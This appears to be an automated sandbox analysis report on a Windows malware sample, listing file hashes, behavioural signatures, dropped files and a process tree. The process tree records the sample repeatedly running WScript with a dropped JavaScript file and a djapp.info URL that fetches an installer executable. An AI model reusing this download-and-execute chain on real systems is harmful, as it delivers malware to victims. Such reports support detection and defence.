Analysis

  • max time kernel
    125s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/05/2024, 05:23

General

  • Target

    3e05facfc7bfef4b70c7519e9ce68b47_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    3e05facfc7bfef4b70c7519e9ce68b47

  • SHA1

    4563fcdf04a4d85a463dbd4502746f7df3b916e7

  • SHA256

    87b90f6a300ee54b825a1d537e1f3558a29be71aad05c04a1ce4c6eda47474ff

  • SHA512

    df53a5046cb95eba02f9f546d1144bcae7d24d2be687f0da1c98784cbc95a744d612289378a886ba4edd74ae272c5b06a2ad4e746b213ffb32b310178a1bcab0

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35:/7BSH8zUB+nGESaaRvoB7FJNndnc

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3e05facfc7bfef4b70c7519e9ce68b47_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\3e05facfc7bfef4b70c7519e9ce68b47_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3340
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE6C6.js" http://www.djapp.info/?domain=IVkkaEAVQO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufE6C6.exe
      2⤵
      • Blocklisted process makes network request
      PID:4592
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE6C6.js" http://www.djapp.info/?domain=IVkkaEAVQO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufE6C6.exe
      2⤵
      • Blocklisted process makes network request
      PID:4260
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE6C6.js" http://www.djapp.info/?domain=IVkkaEAVQO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufE6C6.exe
      2⤵
      • Blocklisted process makes network request
      PID:4700
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE6C6.js" http://www.djapp.info/?domain=IVkkaEAVQO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufE6C6.exe
      2⤵
      • Blocklisted process makes network request
      PID:2040
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE6C6.js" http://www.djapp.info/?domain=IVkkaEAVQO.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fufE6C6.exe
      2⤵
      • Blocklisted process makes network request
      PID:4640
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4192,i,14221647728265121051,6840906015709541562,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:8
    1⤵
      PID:4176

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\fufE6C6.js

      Filesize

      3KB

      MD5

      3813cab188d1de6f92f8b82c2059991b

      SHA1

      4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

      SHA256

      a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

      SHA512

      83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76